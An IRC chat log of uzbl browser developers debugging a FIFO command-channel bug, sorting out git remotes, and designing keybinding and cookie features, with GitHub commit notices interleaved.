20:12 < github> http://bit.ly/Sdub1
20:12 < github> uzbl: Premysl 'Anydot' Hruby experimental SHA1-ce28fc1
20:12 < github> Merge commit 'dieterb/experimental'
20:12 < Dieterbe> bye bot !!
20:12 < github> http://bit.ly/dAMis
20:12 < github> uzbl: Dieter Plaetinck experimental SHA1-565e598
20:12 < github> Merge commit 'any/master' into experimental
20:12 < github> http://bit.ly/wVAu9
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20:12 < Dieterbe> lol dusanx , you are in reaaaally good shape today ;)
20:13 < dusanx> you need to keep me just as a lucky charm lol
20:13 < sm217> "command "whee" not understood. ignoring." :`(
20:13 < dusanx> Dieterbe: anything else to heal?
20:13 < dusanx> I need to use uzblctrl to test socket, right?
20:14 < Dieterbe> dusanx: tell you what. you go over each item in the todo list, you ask me what exactly the problem is, i explain you, then you magically fix it :P
20:14 < Dieterbe> dusanx: yea
20:14 < dusanx> Dieterbe: agreed!
20:14 < linopolus> dusanx: the bugs in the bugtracker of course
20:15 < linopolus> how can i read the exact uri of the page?
20:15 < Dieterbe> press u
20:16 < Dieterbe> ah no, they are sorted
20:16 < Dieterbe> run it from terminal and look at stdout :))
20:16 < dusanx> fixed socket too... :P
20:16 < dusanx> everything works
20:16 < sm217> lol
20:17 < dusanx> # On branch master
20:17 < dusanx> nothing to commit (working directory clean)
20:17 < dusanx> =))
20:17 < linopolus> Dieterbe: .. i ran it from i terminal *head2table*
20:17 < Dieterbe> dusanx: play more. sometimes i have problems after a while of usage
20:17 < Dieterbe> linopolus: well then you can see the url's it loads
20:17 < dusanx> Dieterbe: I am
20:18 < linopolus> Dieterbe: Yes: "*head2table*" i said it
20:26 < dusanx> Dieterbe: out of curiosity, how do I swich to insert mode in latest uzbl?
20:26 < Dieterbe> i
20:27 < Dieterbe> or whatever your binding is
20:27 < dusanx> does not work, binding is i, can you check?
20:29 < Dieterbe> o_O
20:29 < dusanx> hmm
20:30 < Dieterbe> works fine for me
20:30 < dusanx> ok, I will check
20:30 < dusanx> but it does not work
20:30 < dusanx> for me
20:31 < dusanx> maybe broken config, I will check
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20:32 < github> uzbl: Dieter Plaetinck experimental SHA1-d9c1fbf
20:32 < github> smarter history picking. first entry == current url
20:32 < github> http://bit.ly/qXpt8
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20:33 < Dieterbe> man i'm starting to really like uzbl
20:33 < Dieterbe> if we have cookies support i can actually use it :P
20:33 < linopolus> i works for me, too
20:33 < dusanx> me to, almost uzbl ;)
20:33 < Dieterbe> linopolus: what does?
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20:34 < linopolus> Dieterbe: i for insert in edit fields
20:35 < linopolus> uzbl-experimental-git from aur..
20:35 < Dieterbe> dusanx: look: http://rafb.net/p/LhXUQq54.html once it works. after that not anymore
20:35 < dusanx> Dieterbe: I wrote simple test: http://pastebin.com/m7eafbc4b
20:35 < Dieterbe> linopolus: whoa you run experimental? you're crazy
20:36 < Dieterbe> dusanx: you're not running /usr/bin/uzbl right?
20:36 < dusanx> no
20:37 < dusanx> ~/projects/uzbl/uzbl
20:37 < Dieterbe> the only real explanation is, is that their is a code difference between you and me
20:37 < Dieterbe> which makes it work for you
20:37 < dusanx> I just pulled from you!
20:37 < dusanx> and git status is clean...
20:37 < Dieterbe> that doesn't mean you get exactly my code i think
20:37 < Dieterbe> try this:
20:37 < dusanx> try that script, just change path, it's runing for 10 minutes here
20:38 < Dieterbe> git diff 565e598c0e692283faeece6db596f9e12c55df56
20:38 < Dieterbe> see any differences?
20:38 < dusanx> let me see
20:38 < dusanx> fatal: bad object 565e598c0e692283faeece6db596f9e12c55df56
20:38 < dusanx> it's your git I tell you
20:39 < dusanx> I can download your uzbl.c from github and run local diff
20:39 < Dieterbe> my git == 565e598c0e692283faeece6db596f9e12c55df56
20:39 < Dieterbe> yes do that
20:39 < dusanx> just a sec
20:42 < dusanx> wrong formatting, I used select and copy, everything is different (spaces actually)
20:42 < dusanx> I must go for an hour but I will check when I get back
20:43 < dusanx> how can I call diff to ignore spaces?
20:43 < Dieterbe> dusanx: even better, on github when you look at uzbl.c there is a link "raw"
20:43 < Dieterbe> download that
20:43 < dusanx> ok
20:44 < dusanx> I must go now but I will push in 2 seconds so you can test backwards
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20:44 < dusanx> diff shows bunch of changes
20:45 < dusanx> I can't push git status is empty :(
20:45 < dusanx> when I get back, see you
20:46 < Dieterbe> told ya :)
20:48 < Dieterbe> ugh sm217 is doing weird for me
20:49 < Dieterbe> your stuff is in your master right?
20:49 < sm217> no
20:49 < sm217> in experimental :P
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20:49 < sm217> you tried to pull master?
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20:50 < sm217> brb
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20:51 < Dieterbe> sm217: the problem is, i add you as remote, i pull your latest stuff, and in both of your branches if i do "git log" there is nothing with "network" in it :(
21:00 < Dieterbe> CURL http ¶
21:00 < Dieterbe> * Suspicions that we are blocking the main thread too long here. Some kind of main loop integration (code is readily available for this,  glibcurl) will help, but should probably be integrated only after the existing code is cleaned up. * http cache: There is none. 
21:00 < Dieterbe> taken from http://trac.webkit.org/wiki/OptimizingGtk
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21:14 < dusanx> I am back
21:14 < dusanx> left fifo test and it's broken now
21:14 < Dieterbe> :P
21:15 < dusanx> this will be hard to debug
21:15 < dusanx> it's not simple mistake
21:15 < Dieterbe> well, i did more research about libcurl vs libsoup
21:15 < Dieterbe> seems like libsoup is what we should do
21:16 < Dieterbe> webkit devs even dropped support for libcurl
21:16 < dusanx> looks like buffer overrun or something, I stopped sh, tested if uzbl is alive (can click) and started sh again, does not work :(
21:18 < dusanx> instead of relying on fifo uzbl executes any sh in another fork and waits for results on stdin?
21:26 < linopolus> bye
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21:31 < sm217> hmmm
21:32 < sm217> Dieterbe: last thing should be merger from Dieterbe/uzbl to my experimental
21:33 < sm217> really strange tho.
21:33 < Dieterbe> yeah it's weird
21:33 < Dieterbe> i removed and added your remote, same shit :?
21:34 < sm217> maybe try "git pull git://github.com/sm217/uzbl.git experimental" ?
21:34 < sm217> I do that to merge from your branch and it works
21:37 < sm217> tf2 time! :P. good luck and bye.
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21:39 < dusanx> Dieterbe: do we assume that my and your versions are the same? I can upload mine anywhere you want.
21:49 < Dieterbe> of course not. we saw that they were different, right
21:49 < Dieterbe> just push, i'll pull and check the diff
21:49 < dusanx> Dieterbe: where do you want me to upload mine?
21:49 < Dieterbe> to github?
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21:51 < github> uzbl: Dieter Plaetinck experimental SHA1-7bb2ea9
21:51 < github> include libsoup dep
21:51 < github> http://bit.ly/68U1v
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21:53 < dusanx> Dieterbe: I have pushed but git status was clean so I have no idea if something was actually uploaded. My http://github.com/Dieterbe/uzbl/tree/master still contains your changes since it's really last version.
21:53 < dusanx> Dieterbe: but you can take uzbl.c and compare
21:53 < dusanx> Dieterbe: and pls let me know, it's weird, I need to hear what were differences.
21:56 < Dieterbe> hmm the diff is just the most recent stuff: anydot's scroll changes, and some small stuf from me
21:57 < Dieterbe> nothing related to the fifo :/
21:57 < dusanx> figures
21:57 < dusanx> but fifo worked here for at least 15 minutes
21:57 < dusanx> anything else significant?
21:59 < Dieterbe> no
22:07 < dusanx> Dieterbe: maybe I know what it is
22:07 < dusanx> Dieterbe: ctl_line[term_pos] ='\0'; this byte is not allocated
22:09 < Dieterbe> OOPS
22:09 < Dieterbe> git remote add -f sm git://github.com/anydot/uzbl.git
22:10 < Dieterbe> i can do this 20 times, but it will never give me sm217's remote
22:10 < dusanx> I have just started another fifo test, with line above commented!
22:11 < dusanx> what about his remote?
22:11 < Dieterbe> dusanx: look at the url :P
22:11 < dusanx> /anydot/uzbl.git -> sm217 remote?
22:11 < dusanx> I just looked :P
22:11 < Dieterbe> yeah..
22:12 < Dieterbe> i removed and added this remote about 5 times
22:12 < Dieterbe> being confused about why i didn't get sm217's code
22:12 < dusanx> can you try commenting this line and see if fifo breaks?
22:13 < dusanx> working very well without that line here so far
22:13 < Dieterbe> hold on i just merged sm217's code
22:13 < dusanx> ok
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22:18 < dusanx> ok, this looks like fix, I will leave it for a hour or two but works so far
22:21 < Dieterbe> nope dusanx , that does not fix it for me
22:21 < Dieterbe> i commented the line and recompiled
22:21 < dusanx> still works here
22:21 < dusanx> you are testing fifo, right?
22:21 < dusanx> not socket?
22:22 < Dieterbe> yep
22:22 < dusanx> go to google, 3 seconds pause, go to yahoo, 2 seconds pause executed in a loop
22:22 < dusanx> still works here :(
22:23 < dusanx> and that was memory leak for sure
22:23 < Dieterbe> http://www.gtk.org/api/2.6/glib/glib-IO-Channels.html#g-io-channel-read-line look
22:23 < Dieterbe> it says the returned string is already terminated
22:23 < dusanx> string is allocated 0..[term_pos-1] and \0 was written at termpos, that's unallocated memory
22:23 < Dieterbe> so i don't see why he terminates it again
22:24 < dusanx> belive me that needs to stay commented/deleted
22:24 < dusanx> I checked same docs
22:24 < dusanx> no need for terminator
22:24 < Dieterbe> no, you're wrong
22:24 < dusanx> ok, why this still works here?
22:24 < dusanx> I am not
22:24 < dusanx> explain please
22:24 < Dieterbe> the paramater that he uses is not the string length
22:25 < dusanx> wait, what parameter?
22:25 < Dieterbe> it's the 4th param. the docs say: _position_ of terminator
22:25 < dusanx> let me check
22:26 < dusanx> thats ok
22:26 < dusanx> terminator_pos :  location to store position of line terminator, or NULL
22:26 < dusanx> hmm
22:26 < dusanx> should be third
22:26 < dusanx> right?
22:27 < dusanx> with my commenting it's not important since we don't do anything with that variable
22:27 < Dieterbe> third is length, which is not used (we dont care about length)
22:27 < dusanx> can be deleted
22:27 < dusanx> term_pos can be deleted
22:27 < dusanx> and we can call with NULL instead of term_pos
22:28 < dusanx> BUT
22:28 < dusanx> when you comment that line no harm is done
22:28 < dusanx> ctl_line[term_pos] ='\0';
22:28 < dusanx> so why that does not work with you and works with me?
22:29 < Dieterbe> no we call with null instead of LENGTH
22:29 < Dieterbe> we use term_pos
22:29 < dusanx> Dieterbe: can you restart?
22:30 < dusanx> Dieterbe: you tested version that bombards memory, may be fixed when you restart
22:30 < Dieterbe> hehehe
22:30 < Dieterbe> yes i can restart
22:30 < dusanx> g_io_channel_read_line(fd, &ctl_line, NULL, NULL, NULL);
22:30 < dusanx> and remove term_pos completely
22:30 < Dieterbe> huh? in my code it's g_io_channel_read_line(fd, &ctl_line, NULL, &term_pos, NULL);
22:30 < Dieterbe> no, we want to have a terminated string
22:31 < dusanx> Dieterbe: yes, I wrote it correctly
22:31 < dusanx> Dieterbe: read_line already gives terminated string
22:31 < dusanx> pls just do restart
22:31 < dusanx> remove term_pos completely and replace it with NULL
22:31 < dusanx> try
22:33 < Dieterbe> ok ok
22:38 < Dieterbe> still the same man
22:39 < dusanx> no way
22:39 < dusanx> have no idea :(
22:40 < dusanx> I am 99% sure that fix should stay anyway
22:40 < dusanx> how do you test uzbl? what do you use to send commands for test?
22:41 < dusanx> The line read from the GIOChannel, including the line terminator. This data should be freed with g_free()  when no longer needed. This is a nul-terminated string. If a length of zero is returned, this will be NULL instead.
22:41 < dusanx> so no need for adding terminator but we need to test str_return != NULL
22:42 < Dieterbe> i test using: make test-config &
22:42 < Dieterbe> and then echo 'uri dns.be' > <fifo path here>
22:42 < Dieterbe> echo back > <fifo path here>
22:42 < dusanx> can't understand, you saw sh loop I used for test?
22:43 < dusanx> it's much tougher for uzbl
22:46 < Dieterbe> yes..
22:46 < dusanx> and that works without errors here :(
23:03 < dusanx> Dieterbe: any ideas? definitely works here
23:05 < dodobas> what are you testing
23:05 < dodobas> can i help?
23:06 < dusanx> dodobas: start uzbl from command line, see what fifo path it uses, echo different commands in that fifo and try to block it
23:06 < dodobas> which branch?
23:06 < Dieterbe> my experimental
23:06 < dusanx> Dieterbe/experimental
23:07 < dodobas> can you paste the link
23:08 < Dieterbe> !github show link
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23:08 < github> uzbl: Evgeny Grablyk experimental SHA1-f1abf36
23:08 < github> Add support for network settings
23:08 < github> http://bit.ly/w9OSF
23:08 < github> uzbl: Evgeny Grablyk experimental SHA1-8d6218f
23:08 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl into experimental
23:08 < github> http://bit.ly/KOoWK
23:08 < github> uzbl: Dieter Plaetinck experimental SHA1-e7fd788
23:08 < github> somewhat cleaned up version of sm217s network stuff
23:08 < github> http://bit.ly/tYQgH
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23:08 < Dieterbe> there is the link
23:08 < Dieterbe> git://github.com/Dieterbe/uzbl
23:08 < dusanx> Dieterbe: uzbl: _Evgeny Grablyk_ experimental SHA1-f1abf36 ?
23:09 < Dieterbe> dusanx: can you also get my new latest experimental?
23:09 < Dieterbe> i merged in the network stuff, nothing fifo related
23:09 < dusanx> sure
23:11 < dodobas> so 'git clone git://github.com/Dieterbe/uzbl.git' ?
23:12 < dusanx> Dieterbe: got it but I will remove that line, ok?
23:13 < dusanx> Dieterbe: term_pos?
23:15 < dusanx> Dieterbe: everything works, I have removed term_pos
23:17 < dusanx> dodobas: git remote add -f dieter   git://github.com/Dieterbe/uzbl.git
23:17 < dusanx> dodobas: git checkout -b dieter/experimental
23:17 < dusanx> dodobas: git pull dieter experimental
23:17 < Dieterbe> dusanx: i don't think the term_pos has much to do with it. but try both
23:18 < dodobas> dusanx: tnx, i've just compiled it
23:18 < dusanx> Dieterbe: I am very sure that term_pos should not be there. If there is some other problem too this will not do any harm. Term pos was bombarding random memory with zeros.
23:19 < dusanx> Dieterbe: and I am still running test since I got your source, everything works, testing fifo
23:19 < Dieterbe> weird
23:20 < Dieterbe> i tried strace on uzbl but then my entire X hangs
23:21 < dusanx> even better, since I have 2 seconds pause between yahoo and google loads: yahoo page loads partially and uzbl starts to load google. So it's not loading speed problem too
23:22 < dusanx> Dieterbe: still works in the loop without the glitch -- must have loaded 1000 or more pages by now
23:23 < Dieterbe> with my latest experimental code?
23:23 < dusanx> YES
23:23 < dusanx> everything checked
23:23 < dusanx> you know by now that I don't speak before checking :)
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23:24 < github> uzbl: Dieter Plaetinck experimental SHA1-32ffc07
23:24 < github> administrative duties
23:24 < github> http://bit.ly/fV20V
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23:24 < dusanx> Dieterbe: you should really switch to arch linux :P
23:24 < Dieterbe> aha maybe that's it
23:24 < dusanx> really, still works in the loop
23:24 < Dieterbe> maybe my cygwin causes this
23:24 < dusanx> lol
23:25 < Dieterbe> ;)
23:25 < dodobas> fifo seems to work
23:25 < dodobas> uri; back; forward;
23:25 < dodobas> ehat else is there?
23:25 < dusanx> Dieterbe: I lost my test shell link, can you find it?
23:25 < Dieterbe> got damnit
23:26 < dusanx> so dodobas can test using it?
23:26 < Dieterbe> jep just a sec
23:26 < dodobas> im just echoing commands in a terminal
23:26 < dusanx> dodobas: I know but I have small shell script that does that in the loop
23:27 < Dieterbe> http://pastebin.com/m7eafbc4b
23:27 < dusanx> easier than typing :)
23:27 < dusanx> Dieterbe: thanks
23:27 < dusanx> dodobas: can you use this script? you need to change fifo path and that's it. start uzbl first and see path of course
23:28 < dusanx> Dieterbe: this definitely works here, it's more than 30 minutes since I started test / ~25 loads per minute
23:29 < dodobas> its running
23:29 < dusanx> ...and running :)
23:29 < dusanx> dodobas: switches pages, everything looks ok?
23:29 < dodobas> what are the commands, besides 'uri, back, forward'
23:30 < dodobas> yes...
23:30 < dusanx> dodobas: they are in the source, easiest to look there
23:30 < dodobas> i know, but.... i just thought that you have a list, or something :D
23:30 < dusanx> Dieterbe: I am cunfused, what is different there?!
23:31 < dusanx> dodobas: it's too early :)
23:31 < Dieterbe> dusanx: yeah, the list is in the sample config
23:31 < Dieterbe> b = back
23:31 < Dieterbe> m = forward
23:31 < Dieterbe> s = stop
23:31 < Dieterbe> r = refresh
23:31 < Dieterbe> R = reload
23:31 < dusanx> Dieterbe: true, don't know if there is complete list
23:31 < dodobas> err, something is weird, where's the insert mode?
23:31 < dusanx> Dieterbe: oh, I meant command tokens as 'back' not keys
23:32 < dusanx> dodobas: good question, Dieterbe claims that insert works
23:32 < Dieterbe> dusanx: that's the thing.  the actions are the same for keybinds and for command names
23:32 < Dieterbe> what's wrong with insert mode? it works fine for me
23:32 < dodobas> it seems to 'expand' the status bar, really weird
23:32 < dusanx> not here
23:33 < Dieterbe> dodobas: you sure you're not just typing a multichar command?
23:33 < Dieterbe> dodobas: press esc
23:33 < dusanx> Dieterbe: same here, when I type i all I got is anydot's command sequences
23:33 < dusanx> so I get iiiii
23:33 < Dieterbe> heh
23:33 < dodobas> true, esc has no effect
23:33 < dusanx> Dieterbe: can you pls take my last uzbl.c (whole) and test
23:33 < Dieterbe> yes ok
23:34 < dusanx> Dieterbe: there is something wrong, your setup differs too much
23:34 < Dieterbe> dusanx: this one? http://github.com/Dieterbe/uzbl/commit/73130c8b21549668c7af582cbed8d1af4a67ee4e
23:34 < dusanx> let me see
23:35 < Dieterbe> no probably this is better http://github.com/dusanx/uzbl/commit/69c69e9ee76e8fdc973de03debb6d9a4aa053b7a
23:35 < dusanx> http://github.com/dusanx/uzbl/tree/master
23:35 < dusanx> click uzbl.c and get it raw
23:37 < dusanx> but remove that line of course
23:38 < dusanx> found I problem
23:38 < Dieterbe> same thing man
23:38 < dusanx> dodobas: you need to copy examples/config/simpleconfig to ~/.config/uzbl/config
23:38 < Dieterbe> i want to give this fifo thing a rest
23:38 < dusanx> something with your pc definitely
23:39 < dusanx> good news is that insert mode works
23:39 < dodobas> dusanx: config file changed?
23:39 < dusanx> dodobas: yes, just figured out
23:39 < dusanx> dodobas: with old config that I had i fails
23:40 < dusanx> so it's only fifo on borderless linux problem left :(
23:42 < dodobas> its runing
23:42 < dusanx> dodobas: thanks, we needed confirmation
23:42 < Dieterbe> dusanx> so it's only fifo on borderless linux problem left :( ??
23:42 < dusanx> Dieterbe: it's a joke, need to cheer you up :)
23:42 < Dieterbe> :)
23:43 < Dieterbe> i'm tired, i'm going to bed now
23:43 < Dieterbe> bye guys
23:43 < dodobas> btw, im on arch, could test it on ubuntu, but i dont think that will change anything
23:43 < dusanx> I will check sockets tomorrow, maybe there is some memory leak like it was with fifo
23:44 < dusanx> dodobas: we are too, I was joking about other distros ;)
23:44 < dodobas> then, whats the prbolem with Dieterbe's setup?
23:45 < dusanx> dodobas: we'll figure out tomorrow. it's definitely isolated problem
23:45 < dusanx> since I got no errors and you got no errors...
23:46 < dodobas> hmm, how is this multichar command supose to work?
23:47 < dusanx> dodobas: not yet
23:47 < dusanx> dodobas: something like vi commands
23:47 < dusanx> but you will be able to use single char commands
23:48 < dodobas> yes, lets say there is an command 'bu'
23:48 < dodobas> so i need to use a specal char : or something + 'bu' to make it work
23:48 < dodobas> is that the general idea?
23:48 < dusanx> 'bu' only should work
23:48 < dusanx> no special chars
23:49 < dusanx> but we will see...
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23:49 < dodobas> yes but 'b' id back, 'u' is history
23:49 < dusanx> I know, we are thinking about variants yet
23:53 < dusanx> dodobas: actually it will be very easy, you can define string as :bu and b, u and :bu will work :) Yes, we will need to define : as part of the string
23:55 < dodobas> or maybe a special builtin command, like vims ':'
23:55 < dodobas> everything else is considerd and 'single char command'
23:55 < dodobas> but... :)
23:56 < dodobas> what if someone is an emacs addict :D
23:56 < dusanx> dodobas: I think that defining :bu and |xxx is more flexisble
23:56 < dodobas> its a whole new game then
23:56 < dusanx> well there is conkeror for emacs addicts
23:56 < dodobas> what?
23:56 < dusanx> even if I redefined it to use my commands
23:56 < dusanx> not konkeror, conkeror
23:57 < dodobas> ahh, that KDE browser
23:57 < dusanx> no, that's konkeror
23:57 < dusanx> I am talking about conkeror
23:58 < dodobas> ahh....not webkit
23:58 < dodobas> :/
23:58 < dusanx> xulrunner
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00:05 < bstronga> how is development going?
00:05 < dusanx> good, thanks
00:07 < bstronga> fantastic :>
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00:39 < Sleepy_Coder> heh, someone used the Sonata site's theme colors for the Uzbl site. :p
00:40 < Sleepy_Coder> I just remember cause I used those same colors and menubar design on an old site. :)
07:16 < dusanx> Good Morning, anybody wants a coffee?
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07:41 < sm217> Hi
07:41 < dusanx> Hi Evgeny :)
07:41 < sm217> Dieterbe: I see you meged it :)
07:42 < dusanx> sm217: he is not here yet
07:42 < dusanx> but I merged from him so I have your code ;)
07:42 < sm217> There's only one bit, maximum connections never gets to 0
07:43 < dusanx> does that need fixing?
07:43 < sm217> (around line 827)
07:43 < sm217> That's not critical, but may be funny
07:45 < dusanx> I have no idea, if that needs fining fix and push...
07:45 < dusanx> or better
07:45 < dusanx> merge from Dieterbe, fix and push
07:45 < sm217> okay
07:46 < dusanx> sm217: are we saving cookies/session data now?
07:46 < sm217> I didn't work on that
07:46 < sm217> so I guess no
07:46 < dusanx> ok
07:47 < dusanx> that's probably the only thing left that people really need
07:47 < dusanx> if you have any idea since you read the docs that would be great
07:48 < sm217> hmm
07:49 < sm217> libsoup can handle cookies
07:53 < sm217> we'll need a way to save them tho.
07:53 < dusanx> sm217: somewhere nice, path defined in settings file, right :)
07:53 < sm217> :)
08:03 < sm217> ewww
08:03 < sm217> fifo stopped working
08:03 < dusanx> sm217: it's weirdest thing if fifo fails with you too
08:04 < dusanx> Dieterbe has broken fifo
08:04 < dusanx> I have working one
08:04 < dusanx> same source
08:04 < sm217> lol
08:04 < dusanx> dodobas also has working one
08:05 < sm217> I can view it and there are commands
08:08 < dusanx> sm217: http://pastebin.com/m7eafbc4b
08:08 < dusanx> this script worked for me and dodobas for 30 minutes
08:08 < dusanx> just change path and let it run...
08:17 < dusanx> sm217: you there?
08:23 < dusanx> brb
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10:35 < sm217> hmm
10:35 < sm217> dusanx: it worked few minutes and then stoppd
10:35 < sm217> *stopped
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11:24 < Dieterbe> morning dudes
11:28 < Dieterbe> dodobas: wel emacs addicts can use the modkey
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12:03 < github> uzbl: dusanx experimental SHA1-6214561
12:03 < github> Minor fifo fix
12:03 < github> http://bit.ly/bnVA0
12:03 < github> uzbl: Dieter Plaetinck experimental SHA1-9f313d1
12:03 < github> todo updates
12:03 < github> http://bit.ly/kfdgE
12:03 < github> uzbl: Dieter Plaetinck experimental SHA1-24ddba4
12:03 < github> Merge branch 'dus/master' into experimental
12:03 < github> http://bit.ly/9AFgM
12:04 < github> uzbl: Dieter Plaetinck experimental SHA1-0bbfffc
12:04 < github> todo updates
12:04 < github> http://bit.ly/apZWq
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12:11 < dusanx> I am back how is everybody :)
12:12 < Dieterbe> okay.. sort of
12:12 < Dieterbe> gh = uri http://www.uzbl.org
12:12 < Dieterbe> gdiet = uri http://dieter.plaetinck.be
12:12 < Dieterbe> ggit = uri http://github.com/Dieterbe/uzbl/network
12:12 < Dieterbe> gbbs = uri bbs.archlinux.org
12:12 < Dieterbe> these multichar commands are cool
12:16 < dusanx> Dieterbe: we can define :bu as multichar command and start all others with prefix -- that way we can use regular keys too b, u and :bu work
12:16 < Dieterbe> start all others with prefix ?
12:17 < Dieterbe> do you mean all multichars or _all_ keybinds?
12:17 < dusanx> all that you need, add some prefix like : and you kept all signe keys safe :)
12:17 < dusanx> single keys that is
12:18 < Dieterbe> what do you mean with "safe" ? what in "unsafe" now?
12:18 < dusanx> Dieterbe: I just woke up. Will explain better later. Nothing is unsafe
12:20 < dusanx> Dieterbe: you discussed yesterday what if user wants to use both 'u' and 'uuu' as commands and agreed that commands must be unique which is logical. Add : or any other prefix to command multichar keybiding and you can use u as single command and :uuu as multichar.
12:22 < Dieterbe> oh.. but that's basically the same as treating ':' as any other character
12:23 < Dieterbe> you can keep the 'uuu' multichar if you don't use 'u' or 'uu' as keybind, same way as your method because you can't use ':' as single command there too
12:23 < dusanx> Dieterbe: true, that's what I am saying. no need to later add special command character definition and handling, just add it as part as multichar command string... :)
12:23 < Dieterbe> ha, i just tested this
12:23 < Dieterbe> :bbs = uri bbs.archlinux.org
12:23 < Dieterbe> this works
12:23 < Dieterbe> : is already treated as normal char
12:23 < dusanx> that's great
12:24 < dusanx> exactly
12:24 < Dieterbe> you can even bind ':' itself
12:24 < dusanx> I maybe suck with explanations but you got now what I wanted to say :)
12:24 < dusanx> at least I hope
12:24 < Dieterbe> dusanx: I think what you want is just 1 specific case of what we already can do
12:25 < dusanx> Dieterbe: but I am just saying that we can already do that, looks like we are saying the same
12:25 < dusanx> Dieterbe: I as just giving you heads up if you missed to notice that this can be done
12:26 < Dieterbe> ooh ok
12:32 < dusanx> are you still having fifo problems?
12:33 < Dieterbe> jep
12:33 < Dieterbe> also after i merged in your stuff
12:33 < dusanx> sm... has them also
12:33 < dusanx> since this morning
12:33 < dusanx> I and dodobas don't have them, weirdest thing
12:33 < Dieterbe> woohoo i'm not alone
12:33 < dusanx> check log :)
12:34 < dusanx> so you can ask somebody alse here to test, so far we have 50% success rate which is worst possible.
12:40 < Dieterbe> 10:35:35 < sm217> dusanx: it worked few minutes and then stoppd
12:41 < Dieterbe> if it works for a few minutes, that != like my problem
12:41 < dusanx> 08:02 < sm217> fifo stopped working
12:41 < Dieterbe> ...
12:42 < dusanx> few minutes is running my script, that's a lot of good commands before stopping :(
12:42 < Dieterbe> "fifo stopped working" doesn't say anything about how broken it exactly is
12:42 < dusanx> true but I thought that it will make you feel better anyway :P
12:43 < dusanx> Dieterbe: I plan make parametrized commands today, if everything works we don't need dmeny any more :) You will be still able to use it but only if you want :)
12:44 < dusanx> :o = uri %s
12:44 < dusanx> or something like that
12:45 < Dieterbe> dusanx: also something like :o = uri google.com/search?hl=%s ?
12:45 < dusanx> Dieterbe: yes
12:45 < Dieterbe> sweet
12:46 < dusanx> hashtable will make me sweat but I will try
12:46 < dusanx> b/c I must make regular expression matching
12:46 < Dieterbe> hashtables only work if you know the *exact* key
12:46 < dusanx> and parametrized commands will have to end with pressing enter?
12:47 < Dieterbe> probably
12:47 < dusanx> Dieterbe: I know, I must match partial key, that's the problem
12:47 < Dieterbe> then you can't use hashtables
12:47 < dusanx> I know that too
12:48 < Dieterbe> but i don't see why you must match partial key
12:48 < dusanx> but imagine /[0-9,a-a] = search_command %s (making up but something like that)
12:48 < Dieterbe> why don't you just store ':o' -> "uri google.com/search?hl=%s" into the hashtable just like we store normal bindings
12:49 < Dieterbe> and then, when invoked, do run_command("uri google.com/search?hl=%s", <args as given by user>)
12:49 < dusanx> you mean then ask for parameters?
12:49 < dusanx> might me better
12:49 < Dieterbe> no
12:49 < Dieterbe> use a space as separator
12:49 < Dieterbe> eg this is definition::o = uri google.com/search?hl=%s
12:49 < Dieterbe> :o = uri google.com/search?hl=%s i mean
12:50 < Dieterbe> user types: ":o foo bar"
12:50 < Dieterbe> you take the first "word" (everything before space), which is ':o"
12:50 < dusanx> but uzbl will fire command as soon as you type :o if we don't have flag that command expects parameters?
12:50 < Dieterbe> you can then lookup ':o' as normal binding
12:50 < dusanx> will not wait for a space
12:50 < Dieterbe> aha, right. let me thing
12:50 < Dieterbe> think
12:50 < dusanx> and rest of the command
12:51 < Dieterbe> well ok, then we should have a character that "marks" all keyworded commands
12:52 < Dieterbe> for example, in settings, user can put: keyword_marker = i
12:52 < Dieterbe> then if uzbl sees commands that start with ':' it has to wait until user pressed enter
12:52 < dusanx> I am just thinking the same, something like */ = command but we ignore star in typing and use it as needs parameter flag?
12:53 < dusanx> so user actually types /asdfasdf enter?
12:54 < Dieterbe> yeah that's pretty much the same
12:54 < dusanx> cool, that should not be too hard to implement
12:54 < Dieterbe> indeed
12:54 < dusanx> can't wait to get *:u = uri %s
12:54 < dusanx> ok, I will do it
12:55 < Dieterbe> dusanx: however, wait
12:55 < dusanx> we don't need more than one parameter, right?
12:55 < Dieterbe> usually not, indeed
12:55 < Dieterbe> but. i was thinking if we couldn't implement keyword things through external commands
12:56 < Dieterbe> eg: :o = ./keyword.sh
12:56 < dusanx> hmm, this is too small source change and you can call external commands after kb processing
12:56 < dusanx> and you certainly have option to use it or not
12:57 < dusanx> IMO this belongs to kb processing, your call
12:57 < Dieterbe> hmm
12:57 < Dieterbe> if you thinkthis belongs in kb processing, you can also say url editing is keyboard processing ;)
12:58 < Dieterbe> but ok, let's do it like this
12:58 < dusanx> I am not, what command you call afterwards is not devs problem ;)
12:58 < Dieterbe> and you can always do :o = spawn foo.sh %s
12:58 < dusanx> absolutely, that was idea
12:58 < dusanx> you can have parameter or not and you can do whatever you want
12:59 < dusanx> even simulate uri edit field ;)
13:00 < dusanx> *:wiki = http://wiki.archlinux.org/index.php/Special:Search?search=%s&go=Go
13:00 < dusanx> missing uri above but you got the point
13:01 < Dieterbe> yea
13:02 < dusanx> brb
13:23 < dusanx> Dieterbe: adding backspace would be too much? esc is now only way to cancel wrongly typed string
13:33 < Dieterbe> no it's not. i also want backspace :)
13:33 < Dieterbe> in fact it's an item in the todo list :)
13:33 < dusanx> good
13:35 < Dieterbe> i'm cleaning up my workspace btw
13:35 < Dieterbe> analog refactoring/bugfixing you could say
13:37 < dusanx> you mean around your pc or your pc?
13:38 < Dieterbe> my desk and stuff :) around the pc
13:38 < dusanx> Dieterbe: that's what I understood but had to ask lol
13:40 < dusanx> Dieterbe: I will be back in hour or two, this might be easier than it looks
13:41 < Dieterbe> yeah i thinkit's pretty eas :)
13:41 < Dieterbe> +y
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14:00 < sm217> Hi. how it's going?
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14:26 < sm217> Hmm. How do I check if cookies are working?
14:27 < jouz> does webkitgtk provide anything like returning the sourcecode of the currently rendered page?
14:28 < sm217> no idea, look at http://webkitgtk.org/reference/index.html
14:30 < jouz> hmm doesn't seems like... im still tinkering on link-following, but there really are some major difficultys. Looks like one have to hack into webkit itself to provide such features...
14:31 < sm217> there may be undocumented things
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14:40 < ruskie> lo
14:40 < ruskie> just heard about uzbl, sounds like what I've been looking for for ages
14:41 < sm217> just try it :)
14:41 < ruskie> I will I will ;)
14:42 < ruskie> mixing this up with dzen2 and gtk-server could provide a very usable thing
14:43 < sm217> ooh, gtk-server seems interesting.
14:44 < ruskie> :)
14:44 < ruskie> I've been meaning on writting a bookmark manager script I could use to launch any browser with common bookmarks(and even smart bookmarks etc...)
14:45 < sm217> heh.
14:45 < sm217> brb
14:57 < Dieterbe> sm217: cookies are not implemented yet. it's still something on the todo
14:58 < ruskie> when they will be will it be possible to set always accept, always reject, ask for session, ask for all ?
